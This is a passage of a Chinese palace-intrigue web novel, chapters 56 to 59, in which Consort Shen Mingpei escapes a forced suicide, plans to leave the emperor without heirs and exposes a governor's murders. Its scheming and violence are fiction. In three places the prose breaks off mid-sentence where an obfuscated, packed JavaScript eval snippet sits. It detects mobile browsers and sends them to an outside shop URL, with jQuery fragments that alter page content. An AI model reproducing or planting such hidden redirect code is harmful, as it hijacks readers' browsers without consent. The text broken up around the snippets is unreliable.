“这不是概率的问题,”不等皇后反驳,皇帝率先打断沈明珮,“贤妃,你一向懂事,朕不能让大齐有丝毫陷入危险的可能。” 哪怕知道皇帝一定会舍弃她,沈明珮依然恨不得直接捅死皇帝。但她偏偏连显露怨恨的资格都没有。 “那么陛下想让臣妾怎样呢?”她含泪问皇帝。 “身怀孽种之人,难免不被孽种影响,贤妃还是自尽吧。”皇后抢白道。 皇帝默不作声,赫然是默许了。 沈明珮见此,不得不搬出最后的底牌。 “为了大齐,妾愿意赴死,只是妾有两个遗愿,望陛下满足。” “你说。”皇帝应道。 “第一,宏澈还小,失了母亲,在宫里活不下去。妾请求陛下将他过继给无子的亲王,保他平安长大。” 这个请求等于明着说皇后不慈,皇后当即便沉了脸色。想着沈明珮今日必死无疑,她才忍下了呵斥。 “可以。”皇帝答应了。 “第二个遗愿,妾请陛下在妾死后,将妾为何而死,如何而死,完完整整地尽数告知忠勇侯与勇毅伯。” “你放肆!”皇后怒喝。 皇帝也皱紧眉头,质问沈明珮:“你这是对朕心怀不满?” “舅舅自陛下微时便效忠于陛下,不惜自身安危潜伏逆王党中,在关键时刻为陛下夺取胜利。陛下登极后,舅舅与兄长更是镇守国门,为大齐出生入死。难道他们不配得到一个真相吗?陛下与娘娘都说是为了大齐要处死妾,难道他们还能心怀不满?还是说你们其实并不像自己说的那么理直气壮?” 皇帝恼羞成怒,拿手指指着沈明珮,要命令赵德光直接将她勒死。这时候,坤宁宫的掌事太监跑进来。 “娘娘,寒露跑了!” 皇后怒瞪着沈明珮:“她去哪了?” “皇后娘娘当真是准备周密,连妾的长春宫都围了。妾身怕自己就这么突然不明不白地死了,就派寒露代妾去了勇毅伯府和忠勇侯府,与妾身的亲人们告别。现在,她们应该都知道前因后果了。”沈明珮笑着回答。 她怎么可能引颈就戮。就算是没有皇后派人围长春宫这一茬,她也会自己说出寒露的去向。她倒要看看,皇帝敢不敢面对整个东北的哗变! “滚!滚回你的长春宫!”皇帝知道自己无论如何也不能处死沈明珮了,将她轰走。 56. 反击 沈明珮回到长春宫后就“病倒”了。 云太医给她开药后,正欲离开,沈明珮叫住他。 “本宫有一谋划,想请云太医入局,不知云太医敢不敢?” “下官似乎没有拒绝的余地,”云太医心如明镜,“娘娘说要下官做什么吧。” 沈明珮面色森然:“本宫要让陛下以后再无子嗣。” 云太医面露骇然。 “怎么?一道子虚乌有的谶语就能让他母子皆杀,这种人难道配做父亲吗?”沈明珮紧盯着云太医的双眼,“本宫的谋划你已经知晓,若你不同意,为了自保,本宫也只有请你去死了。” 云太医叹气:“娘娘放心,下官同意。” 忠勇侯府内,寒露清点了一队人,正要出京北上,一队锦衣卫围了忠勇侯府。 “寒露姑娘,贤妃娘娘已经无碍,陛下派咱家请你回去,”赵德光笑呵呵地说,“不过是误会一场,何必伤了君臣和气?” 寒露看着这一队身着斗牛曳撒、腰配绣春刀的锦衣卫,点了点头。锦衣卫立刻退去,赵德光将她带到长春宫门前才离开。 进了长春宫正殿,见沈明珮安然无恙,寒露不顾云太医在场,泪流满面地扑了上去。 “娘娘,还好您没事!” “好了,把眼泪擦擦,”沈明珮扔给她一方帕子,“绝嗣之事我同云太医说了,你与他再仔细说说。” 寒露惊讶地转头,见云太医面色淡定,拉着他去了无人的角落。 京城去往东北的官道上,一队勇毅伯府的家丁快马加鞭,已然奔出不远的距离。为首之人正是勇毅伯府管家,他衣襟下藏着两封信,分别是刘芸写给刘顺和沈明琛的。 过了数日,锦衣卫指挥使向皇帝汇报时,突然提起一件事。 “陛下,京城这几日又生起一股传闻,说皇后娘娘借天灾妄造谶语,以此除掉看不顺眼的宫妃。陛下要不要禁绝此言?” 皇帝眼皮一跳。他想到这事不会结束,但没想到后续竟然有这种发展。 他问孙指挥使:“这流言是怎么传起来的,具体是怎么说的?” “流言传出来的起因是陛下命北镇抚司围了忠勇侯府。”抛去姻亲关系,单论这件事本身,孙指挥使也认为皇帝做得不地道,所以他也没有加工,就原原本本地把流言说了。 在这则流言里,皇后固然是凶恶之人,他这个皇帝也没好到哪里去。轻信谗言、欲杀亲子、薄待功臣,全无仁君之相。偏偏流言说的还都是真的。 “传到什么程度了?能查到源头吗?”他听见自己嗓子发哑。 孙指挥使低头道:“流言是从饭庄和书肆起来的,源头已不可考,现在全京城能知道的人应该都知道了。” “你说实话,真的只有京城有流言吗?”皇帝咬着牙问孙指挥使,“你也觉得此事是朕错了吗?” “其他各处需要当地锦衣卫上报,臣暂时不知。”孙指挥使只回答了第一个问题。 “查,给朕彻查!”皇帝怒道。 他一边禁足沈明珮,一边下旨让东北副总兵暂掌东北兵权,一边下令司礼监与北镇抚司共同查出流言源头。 禁足旨意到达长春宫,沈明珮怡然不惧,淡定接旨,好像此事与她无关一样。 司礼监与北镇抚司把京城刨了个遍,都没找出半点勇毅伯府、忠勇侯府传出流言的证据,反而在宫中抓出一个蒙古探子。 探子山西人身份,在宫中服役多年,甚至当上了尚仪局女史。抓到可以动摇大齐的机会,她立刻将此事传到宫外,京城内的蒙古探子立刻炮制出流言。 至于京城内的蒙古探子都有谁,她所有刑都挨了一遍也咬死不说,逼急了就骂:“就凭你们这样的昏君,我们可汗的铁蹄早晚有一天能再次踏进中原!” 赵德光实在是没招了,将审讯结果上报给皇帝。 “陛下,那探子死活不招,您看奴婢该怎么办?”老天啊,可别再让他审了,他真审不出来了。 “拖到菜市口,凌迟,”皇帝如他所愿放过了他,“就说京城内谣言是蒙古探子伪造,为了动摇我大齐民心。” “是皇后娘娘陷害宫妃那则谣言吗?”赵德光确认道。 “全部。”皇帝冷声回答。 赵德光默默退下。 既然流言与勇毅伯府和忠勇侯府无关,皇帝自然也解了长春宫的禁足,甚至还驾临长春宫,与沈明珮吃了顿晚饭。 沈明珮恭恭敬敬送走皇帝后,看着他的背影露出冷笑。早就知道皇帝是什么东西了,她怎么可能把把柄送到皇帝手上?早在定国公府三少爷被杀一案后,她就让白菊一点点打听清楚宫中有些地位的宫人们的底细,这蒙古探子当然是她引过来故意把消息透露出去的,她还在透露时进行夸大,让探子以为可以重创大齐。 连探子本人都以为这消息是她偶然得到,谁能查出不对? 另一边,皇帝的夺兵权圣旨还没送到东北总兵府,东北的战报先传回来了。蒙古趁大齐境内天灾不绝,提前了扰边掳掠的时间,竟然在夏天就发兵了。好在东北军在刘顺的操练下时刻保持警惕,第一时间就击退了敌人,但蒙古军并无就此撤退之意。 皇帝只得又下一道圣旨,废除先前让东北副总兵暂领兵权的旨意。 “以最快速度送到东北总兵府。”他已经不指望传这道圣旨的天使能追上上一个了,只希望尽可能地降低对前线的影响。 军需也是要解决的问题。可惜即使是他的私库也已经用去救灾,东北军民此番只能自己撑着了。 东北前线临时总兵府内,传旨天使已经憋了一肚子火。他自从进了开原就一直在遭受冷遇,开原城内,指挥使听到他的来意,冷淡地告知他总兵、副总兵皆不在城内,就派了一个传令兵带他去前线。传令兵丝毫不顾及他的感受,全力疾行,把他送到前线后就离开了。接手他的依然只是个传令兵,把他带到临时总兵府大堂后就执行任务去了。 偌大一个临时总兵府,连个招呼他的人都没有。他一呆呆到傍晚,直到前线蒙古军暂时收兵,东北总兵才带着部下回到临时总兵府。 “你是什么人?”刘顺见到他,面露警惕。 他已经知晓了皇帝对沈明珮的所作所为。此时一个一看就是京官的人出现在此,他立刻生出一股不祥的预感。 “本官乃天使,刘大人还不速速听旨!”天使展开圣旨,高声诵读上面的内容,“刘大人,接旨吧。” “这旨我们不能接,”最先拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213713|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的就是皇帝要给兵权的副总兵,“如今正值战时,最忌临阵换帅,请天使收回圣旨。” 勇毅伯府派出来的家丁在东北大肆宣扬帝后所为,他也有所耳闻。作为一个将领,他无法认同皇帝的一系列行为——忠勇侯为了大齐流血又流泪,他的外甥女尚且被如此对待,他本人还要被猜忌被夺兵权,那么功劳远远不如忠勇侯的他呢? 天使大为震惊。 “你们这是抗旨!”他直跳脚,“这是诛九族的大罪!你们疯了!” “你就当是我们疯了吧,”刘顺拉着副总兵一同站起来,“来人,把他给我押下去。” 刘顺的卫兵立刻冲进来,控制住天使,在他的大呼小叫中把他带走。 “总兵,这天使……”副总兵欲言又止,毕竟是皇帝派过来的传旨官,真搞出事来也不好,可此人又实在让人烦躁。 “只是关几天,不把他怎么样。”刘顺说起此人就像说家常一样。 见刘顺不打算真把天使怎样,副总兵也不再说什么。 前线将领们只当天使从未来过,封锁消息后该怎么打继续打。没几天,又来了一个天使。 “收回先前旨意?”刘顺心中发笑,“本将知道了。” 说着,他让卫兵将被软禁的上一位天使放出来,又让这一位天使等他片刻。 上一位天使其实并没有遭受虐待,恰恰相反,他的吃穿用度是前线最好的。但被人关在屋子里对他而言本就是奇耻大辱,如今他终于被放出来,到了大堂就要破口大骂。 新一任天使拦住了他。 “陛下已经收回旨意,”他低声提醒自己的上一任,“你便是有不满也收敛点吧。” 上一位天使看看还没有离开的押送他的卫兵,再想想自己同僚的话,悻悻地闭了嘴。 两人没有多留,当晚连夜出城离开。 两人一回到京城,便直奔乾清宫而去。等前一任天使离开后,后一任天使递给皇帝一封信。 皇帝接过信,展开一看,是刘顺写的。信倒是写得很谦卑,先是批评沈明珮不顾及没有她的大局,只顾自己,给皇帝添了麻烦,请求皇帝看在她侍君已久还育有皇子的份上宽恕她。又说自己并非不愿意转交兵权,奈何蒙古侵扰,要以战事为先,感谢皇帝体谅他的难处,收回转交兵权的旨意。最后,他又表了一番忠心,说自己永远会是皇帝最忠诚最锋利的刀,只要皇帝不丢弃他,他的刀锋就永远指向敌人。 信写得很好,让皇帝看得很不舒服。 他疲惫地挥退后一位天使,屏退宫人,靠坐在椅子上,静坐了一个时辰。 而后,他叹了口气。 “可用的帅才还是太少了。” 他想把忠勇侯三人彻底换下来都找不到合适的人顶上。 他在思考制衡忠勇侯等人的方式,沈明珮也没闲着。寒露暂时不能派出宫,勇毅伯府和忠勇侯府也被盯着,她便启用孙指挥使的暗线,将信直接送往松江府,此时送信人已经到了目的地。 送信人站在一个挂着书肆牌匾的帐篷前。通传的小厮很快带着老板出来,老板将他请进帐篷内。 “小姐的信呢?”关闭帐篷,老板秋霜立刻问送信人。 送信人将信递给秋霜。 57. 黑手 纵使没有任何后援,忠勇侯依然率军击退了蒙古。军报传回京城,皇帝神色复杂。 南方的抗洪却是不尽如人意。水利设施早已废弃,仅凭人力,如何是老天的对手?两位阁老带的官员队伍与当地官员也只能将民众转移到安全地带,发水发粮,等待洪水退去。 这一等就等到初秋。无可避免的,在洪水退去前,疫病找上了灾区,江南省数府出现疫病。 两江官员早有准备,立刻将病人迁至已经开辟好的隔离区,将与病人接触过的民众关在临时住处中观察。 药材早在阁老带人离京之时就随队送到了灾区,出现疫情后基本的药物就分发给了灾民。而后太医拉着本地医师一边诊治病患,一边研究抗疫药物。 送信人在松江府呆了几天,才带着当地的消息返回京城。到了京城,最先去的自然是孙府。 孙指挥使压下了这些消息,只让他把消息递进宫中。长春宫内,沈明珮看过递进来的消息后,将纸条烧成灰烬,并再次感叹自己生物爹命好。 “前头靠部下,后头靠阁老,自己躺过旱灾水灾,这是什么狗屎运。” 皇帝是过几天才收到密折的。 看完密折,他脱力般地靠在椅子上,命令赵德光:“请首辅过来。” 宋首辅年事已高,自遭了旱灾以来一直高强度工作,短短半年不到便已经显出老态。听闻皇帝召见,他从文书堆里站起来,紧挪着步伐跟在赵德光身后。 便是狠辣如赵德光也心生怜悯,暗中放慢了步伐。 进了乾清宫,他接过皇帝手中写满噩耗的密折,拿着折子的手随着眼神的移动微微颤抖。 “陛下,许阁老年事已高,确实比青壮年更容易染上疫病。”他说。 从进士及第到入阁拜相,往往间隔着漫长的时光,足以让一个年轻人须发皆白。许阁老同样也已经是老年人,身体素质不比年轻人,染上疫病并不能算意外。 江南危险,但他们远在京城,再着急也是鞭长莫及,终究还是要看江南官员自己。 “陛下,事已至此,我们也只有相信他们,等待他们的好消息。”他言辞恳切。 皇帝没再说什么,当他离开。而后下令,命户部再从太医院调取、从京中医馆采买可治疗时疫的药材,送往江南疫区。 江南焦头烂额之际,湖广的灾情已接近尾声。洪水逐渐退去,留下一片狼藉,阁老命人为参加重建之人多发口粮。响应者甚众,受灾地区重建的速度很快。 孔诚也发挥了自己工部官员的作用。他带着本是护卫他们的京军重修汉江堤坝,并且将其加高加固。 重建快要结束时,带队阁老将这段时间所作所为所见所闻中的重点写到密折上,命传令官八百里加急送到京城。 皇帝收到密折,阴沉多日的心情终于好了一些。 派往湖广的京官很快得令,返回京城。 派往湖广的官员回到京城时,金陵城内仍是一片愁云惨雾。两江总督实力不足,江南巡抚是个应声虫,许阁老病中与江南左布政使通信,控制疫情、安抚民众、重建洪水退去之地。 他近日越发觉得自己病情加重,心中忧虑渐生,决心给皇帝写封密折。照顾他的小厮看他拿出奏匣,在他睡下后跑回沈思远的住处。 沈思远听完汇报,面色阴沉。 “你做得很好。接下来你就装作什么都不知道,该怎么样还怎么样。”他命令小厮。 小厮努力表现得什么都不知道,但是还是能看出端倪。可惜许阁老实在病重,没能察觉到异常。 治疗疫病的药还照常送着,但他病得越来越重,最后竟到了昏迷不醒的地步。 太医为他诊脉,思索良久,最终还是摇摇头,表示自己无能为力。 “去把奏匣拿过来。”至此,沈思远终于命令小厮。 小厮选了临睡前的时间,照顾完许阁老后抱着奏匣,在夜色中跑回沈思远的住处。奏匣除非有钥匙,否则无法以正常方式打开,沈思远拿着它左看右看,拿起挂在书桌旁的长刀,拔出鞘后一刀劈下去,奏匣分成了两半。 沈思远拿起匣中的密折。看过后,他将密折撕作两半。 许阁老的病越来越重,最终还是没有挺过来,在洪水彻底退去的前夕病逝。因是染疫而死,尸体只能就地火化。 等洪水彻底退去,疫病完全结束,派来两江与浙江的官员离开后,一伙流民突然在夜里闯进江南左布政使的家中。这伙流民持械行凶,灭了布政使家的门,临走时又放了一把火。 火光映照着夜晚,将金陵美的官员惊醒。他们匆忙赶到现场时,城内卫兵还没有将火扑灭。火扑灭后,仵作进入布政使府中,没能找出什么线索,只抬出来多具高度碳化的尸体——死者身份已无从考证。 作为金陵品级最高的官员,两江总督沈思远将案件定为凶徒作案,判定左布政使一家全部死亡,而后发布通缉令。 此事自然也要上报京城。 皇帝是通过正规手段知道此事,秋霜派去金陵、一路跟着金陵民众撤离避灾的商队也将消息传回松江,又由秋霜再送至沈明珮宫中。 “堂堂阁老就这么病死了,然后没过几天救灾功劳最大的也被人灭门了,天底下哪有这么巧的事?这伙凶徒怎么就能躲过金陵城内卫兵的巡查,精准地找到左布政使家,然后杀人放火还把证据毁灭得干干净净?”沈明珮一看就不对,“这凶徒可真专业啊。” 她继续往下看,突然乐了。 松江府一家书肆的暗室内,医师在烛火的掩映下为一个浑身是伤的少年诊脉。秋霜站在床边,焦急地等待结果。 “伤者求生意志很强,”老者说着,喊书肆中的仆役拿来纸笔,写下好几个方子,“他醒过来之前按时换药,醒过来之后再加上汤药,外敷药等结痂后停止。” “多谢老先生,”秋霜接过药方,“我弟弟自尊心强,骤然伤成这样,醒来后定然心中难过。拜托老先生莫要将此事告诉他人,他康复前就让他安安静静养伤吧。” “好说,老夫定能让他恢复如初。”老者打包票。 老医师离开,秋霜坐在床头的椅子上,头疼地叹了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216762|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 这少年是不久前被灭门的江南左布政使家的幼子,当天她派去金陵的商队中有人亲眼目睹凶徒闯进布政使府中,秉着无论如何也要为掌柜的打探出消息的精神,他躲在暗处旁观了一切,然后在准备离开时看到这个倒在火海外的少年。 秉着救人一命胜造七级浮屠的想法,他将这个满身是伤的少年带了回来。 这少年的求生欲很强,愣是从鬼门关捡回来一条命,他的存在本身也是针对沈思远的最好的工具。但他现在在名义上已经是个死人,而且目前并没有沈思远支使凶徒灭门的证据,反而一旦他被认出来,可能被灭口。此人固然重要,但也是个烫手山芋。 秋霜盘算着,自己本就是流民,捏造亲人还算方便,书肆已经打出一点名头,银钱给够了,给少年重新办个户籍不难。至于其他的,还是要等沈明珮的指示。 京城,早朝上,皇帝将沈思远提为阁老。 “陛下,此次救灾中沈思远表现平平,恐怕难当阁臣之任。”宋首辅反对。 “宋爱卿有更合适的人选吗?”皇帝毫无愠色,温和地反问。 宋首辅想来想去,也没找到一个更合适的人选。湖广在此次抗灾中的表现固然胜过两江,但湖广总督本就是刚提拔上来的,不足以入阁。两江官员里两江总督品级最高,他不合适其他人更不合适。至于其他地方的官员,灾情结束后不论功行赏,反倒提拔近期没有显著成绩的官员?这更不合适。 “沈总督确实是最合适的人选。”宋首辅再不喜沈思远,也得实话实说。 “那就这么定了。”皇帝心中愉悦,宋首辅的实事求是确实让他在推进政令上容易了许多。 前朝的任命,后宫自然也能知道。沈明珮想得就多了——此番任命,会不会是皇帝想要扶持夏沈两家同盟的信号? 她把自己关在寝房中,屏退宫人,一边思索一边写信,笔走走停停,花了一下午终于把两封信写好。针对长春宫和勇毅伯府的监视已经解除,她把信交给寒露。 信送到松江时,原江南左布政使的幼子已经醒了有几天了。秋霜拿着信,神色复杂地找上他。 “秋霜掌柜找在下有什么事?”他正艰难地复健,看到来人,停下动作。 “符公子,陛下已经将两江总督沈思远晋为内阁大学士。” 名叫符清的少年面色扭曲。 秋霜心中叹气,将手中信递给他:“这是娘娘的信,她让我把信给你看看。” 他接过信,看着看着攥紧手,信纸在挤压下变得不成型。 沈明珮这封信就是给他看的,信上说得很真实也很残酷。不要说他们目前没有物证,即便证据确凿,只要皇帝要捧沈思远,依然可以说他是诬告,而后将他灭口。只有展现出足够的价值,才能让皇帝重启此案。所以他应该做的是努力读书,尽早做官,为自己争取到翻案的资本,至于证据,她会派人搜集。 符清知道,沈明珮说得没有错。 他在不甘中松开手,将信还给秋霜。 “就按娘娘说的做吧,阿姊。” 58. 复制 沈思远带着抢来的功劳领着家眷趾高气扬地进了京,没有半点心虚地受了内阁大学士之职。他的小儿子也领了荫官,在光禄寺任职。 沈家赫赫扬扬,进了京就大张旗鼓地买宅置地,最后竟买了紧邻着勇毅伯府的宅子。住进宅子第一天,沈思远夫妇就要刘芸去沈府立规矩,结果传信人被伯府管家带着侍卫赶了出去。 沈思远怒不可遏,下一次早朝就亲自举报勇毅伯不孝,不敬父母。 皇帝没理沈思远。他眼下还需要忠勇侯父子和勇毅伯给他镇守东北,还刚刚险些与他们有大冲突,怎么可能因为这种指控去办沈明琛? 沈思远气昂昂地进皇极殿,碰了一鼻子灰地出来。 宫里神气了好几天的沈美人也很快回到原状。皇帝该不理她还是不理她,她就是有个阁老父亲也没用。 皇帝的麻烦远未结束。天灾是没了,但是已是入秋时节,中原刚遭完旱灾,南方刚遭完水灾,眼见着这个秋天是打不上来什么粮食了,接下来一年,大齐人吃什么? 户部早就没存粮了,边地倒是有粮,但边地的粮是供应给边军的,挪动军粮,万一敌人来犯怎么办?一时间,大臣们也拿不出什么方案。 关键时刻,还是被士大夫阶层看不起的商人出手了。 江婕妤之父联合其他皇商,发动全大齐所有可以发动的粮商,将仓库内的存粮全部捐出。皇帝立刻派户部清点粮食,而后送往缺粮的各地。中原地区可以勉强挨过冬天,两江与湖广也可以撑到第一批生长周期短的作物收获。 皇帝大为感动,直接封江婕妤之父为荣恩侯,封江婕妤为德嫔,赐住翊坤宫正殿。其余参与捐赠的商人,全部得到义商牌匾,且接下来五年商税减半。 因财政紧张,德嫔主动提出册封礼从简。皇帝大为赞赏后接受提议,相应的,直接命令礼部尚书、礼部右侍郎做此次册封礼的正副使。 一切从简的仪式方便了沈明珮。她只安静地在坤宁宫短暂坐了一会儿,接受完德妃的拜见就可以回宫。这一番行程后,她甚至算不上累。 云太医候在长春宫内,见她一点不适都没有,象征性地诊一下脉就接着教寒露去了。 皇帝以为这个多灾多难的荣嘉九年这下总该安静下来了,结果下一次早朝,一封题本险些震碎了皇极殿。 此题本是监察御史孟怀安与工部员外郎孔诚共同写就,最先报至内阁。两人点名将题本送到带他们一起去湖广救灾的阁老处,阁老看了题本,立刻将其交给首辅。 首辅上折子请示皇帝破格让孟怀安与孔诚参加下一次早朝,又在得皇帝批准后亲自将题本呈到皇极殿上。 “陛下,臣有本奏,”他端着笏板走出大臣队列,“监察御史孟怀安、工部员外郎孔诚上本,言两江、湖广水患本不至于危害如此之大,损害至此,除天灾外,亦有人祸。” 天灾再一次被提起,殿内文武官员多少有些惊异。从两江总督升上来的沈思远反应更大,死死盯着宋首辅,目光如炬。 皇帝下令:“宣孟怀安、孔诚进殿。” 随着太监的高喝,两人登上皇极殿,一左一右站在宋首辅身后。 沈思远见到孔诚,立刻变了脸色。 “两位爱卿,可有什么要说的?”皇帝问两人。 孟怀安是言官,遵循惯例站了出来。 “陛下,我大齐立国之初,太祖皇帝曾命人在大江及其支流上修筑工事,既可在雨水不绝时蓄洪,又可在干旱时放水灌溉农田。至太宗朝末年,这些工事已覆盖大江全域。然而,此次臣两次南下,所见之处,工事俱已废弃。若这些工事尚在,哪怕只四中有一,都不会是如今的局面。” 四品及以上官员才可上朝,故这是孟怀安第一次在早朝上弹劾他人。结果他一弹劾就弹了个大的。 “臣弹劾工部玩忽职守,废弃工事,致使大齐损失惨重!” “孔爱卿可有话要说?”皇帝不置可否,反问孔诚。 孔诚亦上前一步:“回陛下,孟御史所言属实,若工事尚在,此番大齐绝不会损失如此惨重。” 随后他列出一系列自己算来的数据,印证了他和孟怀安的观点。 工部尚书心里很烦。他难道不知道这些工事年久失修逐渐废弃吗?自从高宗开始户部就再没有拨过修缮工事的款,他们上哪儿修去?孔诚又不是不知道这些情况,他跟着那个御史瞎掺和什么? 不想被皇帝发难,他也跟着站出来:“禀陛下,户部已多年未曾向工部调拨修缮工事的银两,工部无钱啊。” 皮球就这么落到了户部头上。 “爱卿可有什么要解释的?”户部为何不给工部拨这个款,皇帝也心知肚明,他象征性地问户部尚书。 户部尚书立刻上前解释:“回陛下,户部每年的财税在满足基本需求后就已所剩不多,仅存的结余都放入国库和各地仓库,实在无法供工部修缮工事。” 这个解释皇帝是满意的。他很清楚大齐为何国库不丰,也并不愿意做出改变——高宗皇帝为了彻底抹掉女官的政治影响才将财税政策改成这样,要是再改回去不就是承认当年高宗错了吗? 可所有人都忘了,当年高宗就是错了。 孟怀安显然不打算将此事轻松揭过:“既然国库长期空虚,为何不改革财税?当今税收之法已被证实无法支撑紧急情况,若继续对此视若无睹,难道再有大灾大难也要像此番一样蒙受重大损失吗?” “你们放肆!财税之法乃大齐命脉,岂容你们两个小官置喙!”沈思远认出孔诚后就决定把他搞死,看到机会立刻见缝插针地站出来,“此二人妄图撼动大齐根基,臣请陛下从重发落!” 有些头脑的都听得出来,所谓的大齐根基并非指现行的财税政策,而是指自高宗以来全面否定女官女将、将女子彻底赶出公共领域的基本国策。谁有动摇此法的迹象,谁就是男性君臣同盟的死敌。 眼下,殿中君臣皆向两人磨刀霍霍。 “陛下,亚圣曾言,民为贵,社稷次之,君为轻,”孟怀安还是举人时就敢蹲在宫门前请愿,现在又岂会因此半途而废,“臣查遍各地政绩考核文书,发现遭废弃的不仅仅是水利工事,更是太祖太宗两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226659|192097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝全部的民生工程。也是在这些工程全部废弃后,民间谋反之事猛增。” “来人,将此狂徒给朕带下去!”皇帝怒而下令,立刻有侍卫上前,将孟怀安拖下去。 皇帝转而以审视的目光看向孔诚。 孔诚与忠勇侯是好友,处置他比处置毫无根基的孟怀安略微有点难度,皇帝希望他能有点眼色。 “孔爱卿也是这般认为的吗?” 可惜,孔诚没有眼色。 “陛下,臣出身佃农之家,也曾居边境苦寒之地多年,”他深深一揖,“普通农户在太平年景维持温饱就已是竭尽全力,一旦发生天灾,他们根本无法自救,便是平常年间,若发生意外,家中丧失劳动力,他们也可能因此沦为流民。” 皇帝脸色铁青。 “敬老局、慈幼局、善工局,这些民生工程既直接为有困难的百姓提供帮助,又为他们提供糊口生计,善工局修缮的工事也保证农事顺利,这些一旦废弃,风险就均摊到普通百姓身上,可他们无法抵抗重大风险,”孔诚无视皇帝的脸色,继续说,“况且就不说这些,昔日伪金入侵时军需不足,今岁蒙古侵扰时户部又是无法拨款,陛下难道想以后所有的征战都是如此吗?” 皇帝愤怒地把他轰出皇极殿,结束早朝。他一肚子火地走到长春宫门外,想到后宫不得干政,又憋着一肚子火回去。 沈明珮在殿内听闻此事,冷冷地说了三个字:“神经病。” 到了下午,他的火气终于下去一些,将宋首辅叫进宫。 “孟怀安和孔诚的题本,你也是赞同的,是吧?”要不然他怎么可能请皇帝允许两人上皇极殿。 “是的,”宋首辅承认,并且表示皇帝派到湖广的那位阁老也持赞同态度,“陛下,这次受灾地区的民众真的很惨,我们不能再这样了。” 官员的奏报终究只是呈现在纸上的冷冰冰的数字,宋首辅求皇帝叫来他派去湖广的阁老,两人一个人讲旱灾中的见闻,一个人讲水灾中的见闻,将人间地狱真实地展露在皇帝面前。 “旱灾时民间尚有人组织谋反,到发水时已经连谋反的力气都没有了,”阁老说,“赈济粮只能让他们勉强不被饿死,有些府县甚至出现了吃人尸体的现象。” 他们何尝不知道高宗以来的基调,不过是不改不行罢了。 “把孟怀安放了吧。”两位阁老离开后,皇帝站起身,命令赵德光,而后出宫。 他直奔肃王府而去。肃王,先帝幼弟,先帝即位后获封肃王。他并未参与先帝末年的夺嫡,皇帝登极后命他为宗人府宗人令,管理宗室。 两人密谈至宵禁,皇帝才离开。回到乾清宫,他又看见他派去湖广、两江的两次三伙人的集体上书。除个别人没有参与外,凡上书之人,全部支持孟怀安与孔诚。这些人大多不足四品,没有上朝资格,但是是各衙门中真正做事的群体。 皇帝留中不发。 在暂停了一场早朝后,他终于下旨,逐步恢复夏琳旧制。 高宗灭杀女官、抹杀女官之制近百年后,人们通过血泪教训证明,他错了。 59. 祥瑞 两江,江西,南昌府。 整座府城在朝廷的帮助下艰难恢复秩序,见有商队进城,只简单检查了一番就予以放行。 马车内,商队队长拿出先前藏好的放火药的匣子,松了口气。 长春宫寝屋内,沈明珮打开秋霜的来信,身边只有寒露和宋英陪同。 “娘娘,怎么样?”宋英问她。 “人已经派出去了,”沈明珮合上信,当着二人的面烧毁,“她那边已经动起来了,我们这边也要准备好了。” “是。”宋英应道。 沈明珮又命令寒露:“寒露,你看好白芷,不要让她发现不对。” “是,娘娘。”寒露应下。 长春宫的大宫女寒露偶感风寒,贤妃面子大,请来平时为自己看诊的云太医来给她看病。云太医医术高强,开了些药,寒露一贴下去就好了大半。 沈明珮见自己快到预产期,也向云太医讨了些保命的药。云太医很好说话,沈明珮一说他就都开了,并且量开得很足。 “多谢大人。”沈明珮柔声道谢。 云太医显然也清楚沈明珮到底想做什么,丢下一句“请娘娘小心行事”就告退。 他走后,寒露将药清点出来,放到寝屋的小匣子中。 “娘娘,药齐了。”她低声说。 “不错,”沈明珮赞许地点点头,“剩下的药,你再熬两贴风寒药喝了,剩下的就都烧了吧。” “是,”寒露应下,又问她,“娘娘,您真的决定了吗?” 一旦败露,这可是杀头大罪啊。 “我需要让它彻底洗刷掉灾星的罪名,而不是靠皇帝似是而非的旨意堵别人的嘴,”沈明珮斩钉截铁,“你就当是富贵险中求吧。” 寒露一边退下,一边在心里狂骂皇帝和皇后。若非皇后使坏,皇帝又听信皇后谗言,甚至想逼死娘娘,娘娘何至于用这等伤己的险着? 腊月初八,一个全大齐都要庆贺的日子。这天一早,长春宫的大宫女白芷就闯了祸。 “你做了什么,为什么你进去之后娘娘肚子疼?”寒露一把把白芷抓住,压在地上。 白芷一头雾水。她不过是送了顿早饭,怎么娘娘吃了几口就肚子疼了?她正要辩解,被宋英打断。 “白菊,你快去请云太医。寒露,你把白芷交给我,娘娘现在需要你。” 寒露依言而行,宋英找了根绳子将白芷绑住,而后把她关进暗室里。 “娘娘无事前,你就好好在这里呆着吧。” 白芷就这么在神情恍惚中被彻底控制。 